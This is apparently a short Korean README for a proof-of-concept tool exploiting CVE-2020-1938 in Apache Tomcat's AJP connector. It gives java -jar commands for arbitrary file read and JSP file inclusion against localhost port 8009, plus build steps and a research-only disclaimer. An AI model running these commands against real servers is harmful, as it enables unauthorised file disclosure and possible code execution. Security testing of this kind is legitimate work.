CVE-2020-1938

이 도구는 보안 연구 및 내부 자체 점검에만 사용해야 하며, 도구를 이용한 불법 공격은 금지됩니다. 이로 인해 발생하는 모든 결과에 대한 책임은 사용자에게 있습니다.

apache-tomcat-8.5.32.zip 테스트용 tomcat

임의 파일 읽기

java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp

파일 포함

java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp

패키징 방법: tomcat/ajp-bug 디렉터리에서 mvn clean compile assembly:assembly 실행